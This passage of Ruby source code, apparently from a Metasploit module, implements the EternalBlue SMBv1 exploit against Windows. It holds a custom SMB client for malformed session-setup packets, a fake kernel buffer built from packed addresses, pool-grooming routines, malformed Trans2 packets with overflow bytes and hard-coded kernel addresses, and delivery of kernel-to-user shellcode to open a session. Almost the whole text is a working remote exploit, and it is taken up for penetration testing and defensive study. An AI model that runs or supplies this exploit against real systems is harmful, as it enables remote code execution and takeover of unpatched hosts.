0xffffffffffd00000) >> 12)845fake_srv_net_buffer_x64nx = "\x00" * 16846fake_srv_net_buffer_x64nx += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<')847fake_srv_net_buffer_x64nx += "\x00" * 16848fake_srv_net_buffer_x64nx += "\x00" * 16849fake_srv_net_buffer_x64nx += [0, 0].pack('QQ<')850fake_srv_net_buffer_x64nx += [0, TARGET_HAL_HEAP_ADDR].pack('QQ<') # _, _, pointer to fake struct851fake_srv_net_buffer_x64nx += [0, 0,].pack('QQ<')852fake_srv_net_buffer_x64nx += "\x00" * 16853fake_srv_net_buffer_x64nx += "\x00" * 16854fake_srv_net_buffer_x64nx += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags855fake_srv_net_buffer_x64nx += [0, pte_addr + 7 - 0x7f].pack('QQ<') # MDL.Process, MDL.MappedSystemVa856857fea_list_nx = [0x10000].pack('I<')858fea_list_nx += NTFEA_9000859fea_list_nx += [0, 0, fake_srv_net_buffer_x64nx.length - 1].pack('CCS<') + fake_srv_net_buffer_x64nx # -1 because first '\x00' is for name860# stop copying by invalid flag (can be any value except 0 and 0x80)861fea_list_nx += [0x12, 0x34, 0x5678].pack('CCS<')862863fea_list_nx864end865866def default_session_setup_request867p = RubySMB::SMB1::Packet::SessionSetupRequest.new868p.parameter_block.max_buffer_size = 61440869p.parameter_block.max_mpx_count = 50870p.smb_header.flags2.extended_security = 1871872p873end874875# Returns the value to be passed to SMB clients for876# the password. If the user has not supplied a password877# it returns an empty string to trigger an anonymous878# logon.879#880# @return [String] the password value881def smb_pass882if datastore['SMBPass'].present?883datastore['SMBPass']884else885''886end887end888889# Returns the value to be passed to SMB clients for890# the username. If the user has not supplied a username891# it returns an empty string to trigger an anonymous892# logon.893#894# @return [String] the username value895def smb_user896if datastore['SMBUser'].present?897datastore['SMBUser']898else899''900end901end902903# Returns the value to be passed to SMB clients for904# the domain. If the user has not supplied a domain905# it returns an empty string to trigger an anonymous906# logon.907#908# @return [String] the domain value909def smb_domain910if datastore['SMBDomain'].present?911datastore['SMBDomain']912else913''914end915end916917class SessionSetupSMB1RequestWithPoorlyFormedDataBlock < RubySMB::GenericPacket918COMMAND = RubySMB::SMB1::Commands::SMB_COM_SESSION_SETUP_ANDX919920class ParameterBlock < RubySMB::SMB1::Packet::SessionSetupRequest::ParameterBlock921end922923class DataBlock < RubySMB::SMB1::DataBlock924# Key difference for this class is that the length of security_blob is NOT dictated by the value of925# security_blob_length in the +SessionSetupRequest::ParameterBlock+926string :security_blob, label: 'Security Blob (GSS-API)'927string :native_os, label: 'Native OS'928string :native_lan_man, label: 'Native LAN Manager'929end930931smb_header :smb_header932parameter_block :parameter_block933data_block :data_block934end935936class CustomSessionSetupPacketRubySMBClient < ::RubySMB::Client937def send_recv(packet, encrypt: false)938version = packet.packet_smb_version939case version940when 'SMB1'941packet.smb_header.uid = user_id if user_id942packet.smb_header.pid_low = pid if pid && packet.smb_header.pid_low == 0943packet = smb1_sign(packet)944when 'SMB2'945packet = increment_smb_message_id(packet)946packet.smb2_header.session_id = session_id947unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)948if smb2949packet = smb2_sign(packet)950elsif smb3951packet = smb3_sign(packet)952end953end954end955956encrypt_data = false957if can_be_encrypted?(packet) && encryption_supported? && (@session_encrypt_data || encrypt)958encrypt_data = true959end960send_packet(packet, encrypt: encrypt_data)961raw_response = recv_packet(encrypt: encrypt_data)962smb2_header = nil963unless version == 'SMB1'964loop do965smb2_header = RubySMB::SMB2::SMB2Header.read(raw_response)966break unless is_status_pending?(smb2_header)967968sleep 1969raw_response = recv_packet(encrypt: encrypt_data)970rescue IOError971# We're expecting an SMB2 packet, but the server sent an SMB1 packet972# instead. This behavior has been observed with older versions of Samba973# when something goes wrong on the server side. So, we just ignore it974# and expect the caller to handle this wrong response packet.975break976end977end978979self.sequence_counter += 1 if signing_required && !session_key.empty?980# update the SMB2 message ID according to the received Credit Charged981self.smb2_message_id += smb2_header.credit_charge - 1 if smb2_header && server_supports_multi_credit982raw_response983end984985def login(username: self.username, password: self.password,986domain: self.domain, local_workstation: self.local_workstation,987ntlm_flags: default_flags,988session_setup_packet: nil,989session_setup_auth_packet: nil)990negotiate991session_setup(username, password, domain,992local_workstation: local_workstation,993ntlm_flags: ntlm_flags,994session_setup_packet: session_setup_packet,995session_setup_auth_packet: session_setup_auth_packet)996end997998def session_setup(user, pass, domain,999local_workstation: self.local_workstation, ntlm_flags: default_flags,1000session_setup_packet: nil, session_setup_auth_packet: nil)1001@domain = domain1002@local_workstation = local_workstation1003@password = pass.encode('utf-8') || ''.encode('utf-8')1004@username = user.encode('utf-8') || ''.encode('utf-8')10051006@ntlm_client = Net::NTLM::Client.new(1007@username,1008@password,1009workstation: @local_workstation,1010domain: @domain,1011flags: ntlm_flags1012)10131014authenticate(smb1_setup_pkt: session_setup_packet, smb1_setup_auth_pkt: session_setup_auth_packet)1015end10161017def authenticate(smb1_setup_pkt: nil, smb1_setup_auth_pkt: nil)1018if smb11019if username.empty? && password.empty?1020smb1_authenticate(session_setup_packet: smb1_setup_pkt,1021session_setup_auth_packet: smb1_setup_auth_pkt,1022anonymous: true)1023else1024smb1_authenticate(session_setup_packet: smb1_setup_pkt,1025session_setup_auth_packet: smb1_setup_auth_pkt)1026end1027else1028smb2_authenticate1029end1030end10311032def smb1_authenticate(session_setup_packet: nil, session_setup_auth_packet: nil, anonymous: false)1033response = smb1_ntlmssp_negotiate(session_setup_packet: session_setup_packet)1034challenge_packet = smb1_ntlmssp_challenge_packet(response)10351036# Store the available OS information before going forward.1037@peer_native_os = challenge_packet.data_block.native_os.to_s1038@peer_native_lm = challenge_packet.data_block.native_lan_man.to_s1039user_id = challenge_packet.smb_header.uid1040type2_b64_message = smb1_type2_message(challenge_packet)1041type3_message = @ntlm_client.init_context(type2_b64_message)10421043if anonymous1044type3_message.ntlm_response = ''1045type3_message.lm_response = ''1046end10471048@session_key = @ntlm_client.session_key1049challenge_message = @ntlm_client.session.challenge_message1050store_target_info(challenge_message.target_info) if challenge_message.has_flag?(:TARGET_INFO)1051@os_version = extract_os_version(challenge_message.os_version.to_s) unless challenge_message.os_version.empty?10521053raw = smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: session_setup_auth_packet)1054response = smb1_ntlmssp_final_packet(raw)1055response_code = response.status_code10561057@user_id = user_id if response_code == ::WindowsError::NTStatus::STATUS_SUCCESS1058response_code1059end10601061def smb1_ntlmssp_negotiate(session_setup_packet: nil)1062packet = smb1_ntlmssp_negotiate_packet(session_setup_packet: session_setup_packet)1063send_recv(packet)1064end10651066def smb1_ntlmssp_authenticate(type3_message, user_id, session_setup_packet: nil)1067packet = smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: session_setup_packet)1068send_recv(packet)1069end10701071def smb1_ntlmssp_auth_packet(type3_message, user_id, session_setup_packet: nil)1072if session_setup_packet.nil?1073packet = RubySMB::SMB1::Packet::SessionSetupRequest.new1074packet.smb_header.uid = user_id1075packet.set_type3_blob(type3_message.serialize)1076packet.parameter_block.max_mpx_count = 501077packet.smb_header.flags2.extended_security = 110781079packet1080else1081if session_setup_packet.data_block.security_blob.empty?1082session_setup_packet.set_type3_blob(type3_message.serialize)1083end1084if session_setup_packet.smb_header.uid == 01085session_setup_packet.smb_header.uid = user_id1086end1087if session_setup_packet.parameter_block.max_buffer_size == 01088session_setup_packet.parameter_block.max_buffer_size = max_buffer_size1089end1090if session_setup_packet.smb_header.pid_low == 01091session_setup_packet.smb_header.pid_low = pid1092end10931094session_setup_packet1095end1096end10971098def smb1_ntlmssp_negotiate_packet(session_setup_packet: nil)1099type1_message = ntlm_client.init_context11001101if session_setup_packet.nil?1102packet = RubySMB::SMB1::Packet::SessionSetupRequest.new unless session_setup_packet1103packet.set_type1_blob(type1_message.serialize)1104packet.parameter_block.max_mpx_count = 501105packet.smb_header.flags2.extended_security = 111061107packet1108else1109if session_setup_packet.data_block.security_blob.empty?1110session_setup_packet.set_type1_blob(type1_message.serialize)1111end11121113session_setup_packet1114end1115end1116end1117end11181119module EternalBlueWin71120require 'ruby_smb'1121require 'ruby_smb/smb1/packet'1122require 'windows_error'11231124include Msf::Exploit::Remote::DCERPC11251126class EternalBlueError < StandardError1127end11281129def exploit_eb1130begin1131for i in 1..datastore['MaxExploitAttempts']1132grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)1133smb_eternalblue(datastore['ProcessName'], grooms)11341135# we don't need this sleep, and need to find a way to remove it1136# problem is session_count won't increment until stage is complete :\1137secs = 01138while !session_created? && (secs < 30)1139secs += 11140sleep 11141end11421143if session_created?1144print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1145print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1146print_good('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1147break1148else1149print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1150print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1151print_bad('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=')1152end1153end1154rescue EternalBlueError => e1155print_error(e.message.to_s)1156return false1157rescue ::RubySMB::Error::NegotiationFailure1158print_error('SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.')1159return false1160rescue ::RubySMB::Error::UnexpectedStatusCode,1161::Errno::ECONNRESET,1162::Rex::HostUnreachable,1163::Rex::ConnectionTimeout,1164::Rex::ConnectionRefused,1165::RubySMB::Error::CommunicationError => e1166print_error("#{e.class}: #{e.message}")1167report_failure1168return false1169rescue StandardError => e1170print_error(e.class.to_s)1171print_error(e.message)1172print_error(e.backtrace.join("\n"))1173return false1174end1175end11761177def smb_eternalblue(process_name, grooms)1178begin1179# Step 0: pre-calculate what we can1180shellcode = make_kernel_user_payload(payload.encoded, process_name)1181payload_hdr_pkt = make_smb2_payload_headers_packet1182payload_body_pkt = make_smb2_payload_body_packet(shellcode)11831184# Step 1: Connect to IPC$ share1185print_status('Connecting to target for exploitation.')1186client, tree, sock, os = smb1_anonymous_connect_ipc1187rescue RubySMB::Error::CommunicationError1188# Error handler in case SMBv1 disabled on target1189raise EternalBlueError, 'Could not make SMBv1 connection'1190else1191print_good('Connection established for exploitation.')11921193if verify_target(os)1194print_good('Target OS selected valid for OS indicated by SMB reply')1195else1196print_warning('Target OS selected not valid for OS indicated by SMB reply')1197print_warning('Disable VerifyTarget option to proceed manually...')1198raise EternalBlueError, 'Unable to continue with improper OS Target.'1199end12001201# cool buffer print no matter what, will be helpful when people post debug issues1202print_core_buffer(os)12031204if verify_arch1205print_good('Target arch selected valid for arch indicated by DCE/RPC reply')1206else1207print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')1208print_warning('Disable VerifyArch option to proceed manually...')1209raise EternalBlueError, 'Unable to continue with improper OS Arch.'1210end12111212print_status("Trying exploit with #{grooms} Groom Allocations.")12131214# Step 2: Create a large SMB1 buffer1215print_status('Sending all but last fragment of exploit packet')1216smb1_large_buffer(client, tree, sock)12171218# Step 3: Groom the pool with payload packets, and open/close SMB1 packets1219print_status('Starting non-paged pool grooming')12201221# initialize_groom_threads(ip, port, payload, grooms)1222fhs_sock = smb1_free_hole(true)12231224@groom_socks = []12251226print_good('Sending SMBv2 buffers')1227smb2_grooms(grooms, payload_hdr_pkt)12281229fhf_sock = smb1_free_hole(false)12301231print_good('Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.')1232fhs_sock.shutdown12331234print_status('Sending final SMBv2 buffers.') # 6x1235smb2_grooms(6, payload_hdr_pkt) # TODO: magic #12361237fhf_sock.shutdown12381239print_status('Sending last fragment of exploit packet!')1240final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)1241sock.put(final_exploit_pkt)12421243print_status('Receiving response from exploit packet')1244code, _raw = smb1_get_response(sock)12451246code_str = '0x' + code.to_i.to_s(16).upcase1247if code.nil?1248print_error('Did not receive a response from exploit packet')1249elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)1250print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")1251else1252print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")1253end12541255# Step 4: Send the payload1256print_status('Sending egg to corrupted connection.')12571258@groom_socks.each { |gsock| gsock.put(payload_body_pkt.first(2920)) }1259@groom_socks.each { |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }12601261print_status('Triggering free of corrupted buffer.')1262# tree disconnect1263# logoff and x1264# note: these aren't necessary, just close the sockets1265return true1266ensure1267abort_sockets1268end1269end12701271def verify_target(os)1272os = os.gsub("\x00", '') # strip unicode bs1273os << "\x00" # but original has a null1274ret = true12751276if datastore['VerifyTarget']1277ret = false1278# search if its in patterns1279target['os_patterns'].each do |pattern|1280if os.downcase.include? pattern.downcase1281ret = true1282break1283end1284end1285end12861287return ret1288end12891290def verify_arch1291return true unless datastore['VerifyArch']12921293# XXX: This sends a new DCE/RPC packet1294arch = dcerpc_getarch12951296return true if arch && arch == target_arch.first12971298print_warning("Target arch is #{target_arch.first}, but server returned #{arch.inspect}")1299print_warning('The DCE/RPC service or probe may be blocked') if arch.nil?1300false1301end13021303def print_core_buffer(os)1304print_status("CORE raw buffer dump (#{os.length} bytes)")13051306count = 01307chunks = os.scan(/.{1,16}/)1308chunks.each do |chunk|1309hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, '0') }.join(' ')13101311format = format('0x%08x %-47s %-16s', (count * 16), hexdump, chunk)1312print_status(format)1313count += 11314end1315end13161317def smb2_grooms(grooms, payload_hdr_pkt)1318grooms.times do |_groom_id|1319gsock = connect(false)1320@groom_socks << gsock1321gsock.put(payload_hdr_pkt)1322end1323end13241325def smb1_anonymous_connect_ipc1326sock = connect(false)1327dispatcher = RubySMB::Dispatcher::Socket.new(sock)1328client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)1329client.pid = nil1330response_code = client.login13311332unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS1333raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"1334end13351336os = client.peer_native_os13371338tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")13391340return client, tree, sock, os1341end13421343def smb1_large_buffer(client, tree, sock)1344nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)13451346# send NT Trans1347vprint_status('Sending NT Trans Request packet')13481349client.send_recv(nt_trans_pkt)1350# Initial Trans2 request1351trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)13521353# send all but last packet1354for i in 1..141355trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)1356end13571358vprint_status('Sending malformed Trans2 packets')1359sock.put(trans2_pkt_nulled)13601361begin1362sock.get_once1363rescue EOFError1364vprint_error('No response back from SMB echo request. Continuing anyway...')1365end13661367client.echo(count: 1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")1368end13691370def smb1_free_hole(start)1371sock = connect(false)1372dispatcher = RubySMB::Dispatcher::Socket.new(sock)1373client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, smb3: false, username: smb_user, domain: smb_domain, password: smb_pass)1374client.pid = nil1375client.negotiate13761377pkt = ''13781379if start1380vprint_status('Sending start free hole packet.')1381pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")1382else1383vprint_status('Sending end free hole packet.')1384pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")1385end13861387client.send_recv(pkt)1388sock1389end13901391def smb1_get_response(sock)1392raw = nil13931394# dirty hack since it doesn't always like to reply the first time...139516.times do1396raw = sock.get_once1397break unless raw.nil? || raw.empty?1398end13991400return nil unless raw14011402response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])1403code = response.nt_status1404return code, raw, response1405end14061407def make_smb2_payload_headers_packet1408# don't need a library here, the packet is essentially nonsensical1409pkt = ''1410pkt << "\x00" # session message1411pkt << "\x00\xff\xf7" # size1412pkt << "\xfeSMB" # SMB21413pkt << "\x00" * 12414141415pkt1416end14171418def make_smb2_payload_body_packet(kernel_user_payload)1419# precalculated lengths1420pkt_max_len = 42041421pkt_setup_len = 4971422pkt_max_payload = pkt_max_len - pkt_setup_len # 357514231424# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode1425pkt = ''14261427# padding1428pkt << "\x00" * 0x81429pkt << "\x03\x00\x00\x00"1430pkt << "\x00" * 0x1c1431pkt << "\x03\x00\x00\x00"1432pkt << "\x00" * 0x7414331434# KI_USER_SHARED_DATA addresses1435pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address1436pkt << "\x00" * 0x101437pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address1438pkt << "\x00" * 0xc414391440# payload addreses1441pkt << "\x90\xf1\xdf\xff"1442pkt << "\x00" * 0x41443pkt << "\xf0\xf1\xdf\xff"1444pkt << "\x00" * 0x4014451446pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"1447pkt << "\x00" * 0x81448pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"1449pkt << "\x00"14501451pkt << kernel_user_payload14521453# fill out the rest, this can be randomly generated1454pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)14551456pkt1457end14581459# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit1460def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)1461timeout = (timeout * 0x10) + 31462timeout_value = "\x35\x00\xd0" + timeout.chr14631464packet = RubySMB::SMB1::Packet::Trans2::Request.new1465packet = set_smb1_headers(packet, tree_id, user_id)14661467# The packets are labeled as Secondary Requests but are actually structured1468# as normal Trans2 Requests for some reason. We shall similarly cheat here.1469packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY14701471packet.parameter_block.flags.read("\x00\x10")1472packet.parameter_block.timeout.read(timeout_value)14731474packet.parameter_block.word_count = 91475packet.parameter_block.total_data_count = 40961476packet.parameter_block.parameter_count = 409614771478nbss = "\x00\x00\x10\x35"1479pkt = packet.to_binary_s1480pkt = pkt[0, packet.parameter_block.parameter_offset.abs_offset]1481pkt = nbss + pkt14821483case type1484when :eb_trans2_exploit1485vprint_status('Making :eb_trans2_exploit packet')14861487pkt << "\x41" * 295714881489pkt << "\x80\x00\xa8\x00" # overflow14901491pkt << "\x00" * 0x101492pkt << "\xff\xff"1493pkt << "\x00" * 0x61494pkt << "\xff\xff"1495pkt << "\x00" * 0x1614961497pkt << "\x00\xf1\xdf\xff" # x86 addresses1498pkt << "\x00" * 0x81499pkt << "\x20\xf0\xdf\xff"15001501pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x6415021503pkt << "\x60\x00\x04\x10"1504pkt << "\x00" * 415051506pkt << "\x80\xef\xdf\xff"15071508pkt << "\x00" * 41509pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"1510pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"1511pkt << "\x00" * 0x1015121513pkt << "\x60\x00\x04\x10"1514pkt << "\x00" * 0xc1515pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"1516pkt << "\x00" * 0x81517pkt << "\x80\x10"1518pkt << "\x00" * 0xe1519pkt << "\x39"1520pkt << "\xbb"15211522pkt << "\x41" * 9651523when :eb_trans2_zero1524vprint_status('Making :eb_trans2_zero packet')1525pkt << "\x00" * 20551526pkt << "\x83\xf3"1527pkt << "\x41" * 20391528else1529vprint_status('Making :eb_trans2_buffer packet')1530pkt << "\x41" * 40961531end1532pkt1533end15341535def make_smb1_nt_trans_packet(tree_id, user_id)1536packet = RubySMB::SMB1::Packet::NtTrans::Request.new15371538# Disable the automatic padding because it will distort1539# our values here.1540packet.data_block.enable_padding = false15411542packet = set_smb1_headers(packet, tree_id, user_id)15431544packet.parameter_block.max_setup_count = 11545packet.parameter_block.total_parameter_count = 301546packet.parameter_block.total_data_count = 665121547packet.parameter_block.max_parameter_count = 301548packet.parameter_block.max_data_count = 01549packet.parameter_block.parameter_count = 301550packet.parameter_block.parameter_offset = 751551packet.parameter_block.data_count = 9761552packet.parameter_block.data_offset = 1041553packet.parameter_block.function = 015541555packet.parameter_block.setup << 0x000015561557packet.data_block.byte_count = 10041558packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ("\x00" * 973)1559packet1560end15611562def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)1563packet = RubySMB::SMB1::Packet::SessionSetupRequest.new15641565packet.smb_header.flags.read("\x18")1566packet.smb_header.flags2.read(flags2)1567packet.smb_header.pid_high = 652791568packet.smb_header.mid = 6415691570packet.parameter_block.vc_number.read(vcnum)1571packet.parameter_block.max_buffer_size = 43561572packet.parameter_block.max_mpx_count = 101573packet.parameter_block.security_blob_length = 015741575packet.smb_header.flags2.unicode = 01576packet.data_block.security_blob = native_os + "\x00" * 151577packet.data_block.native_os = ''1578packet.data_block.native_lan_man = ''1579packet1580end15811582# Sets common SMB1 Header values used by the various1583# packets in the exploit.1584#1585# @return [RubySMB::GenericPacket] the modified version of the packet1586def set_smb1_headers(packet, tree_id, user_id)1587packet.smb_header.flags2.read("\x07\xc0")1588packet.smb_header.tid = tree_id1589packet.smb_header.uid = user_id1590packet.smb_header.pid_low = 652791591packet.smb_header.mid = 641592packet1593end15941595# Returns the value to be passed to SMB clients for1596# the password. If the user has not supplied a password1597# it returns an empty string to trigger an anonymous1598# logon.1599#1600# @return [String] the password value1601def smb_pass1602if datastore['SMBPass'].present?1603datastore['SMBPass']1604else1605''1606end1607end16081609# Returns the value to be passed to SMB clients for1610# the username. If the user has not supplied a username1611# it returns an empty string to trigger an anonymous1612# logon.1613#1614# @return [String] the username value1615def smb_user1616if datastore['SMBUser'].present?1617datastore['SMBUser']1618else1619''1620end1621end16221623# Returns the value to be passed to SMB clients for1624# the domain. If the user has not supplied a domain1625# it returns an empty string to trigger an anonymous1626# logon.1627#1628# @return [String] the domain value1629def smb_domain1630if datastore['SMBDomain'].present?1631datastore['SMBDomain']1632else1633''1634end1635end1636end163716381639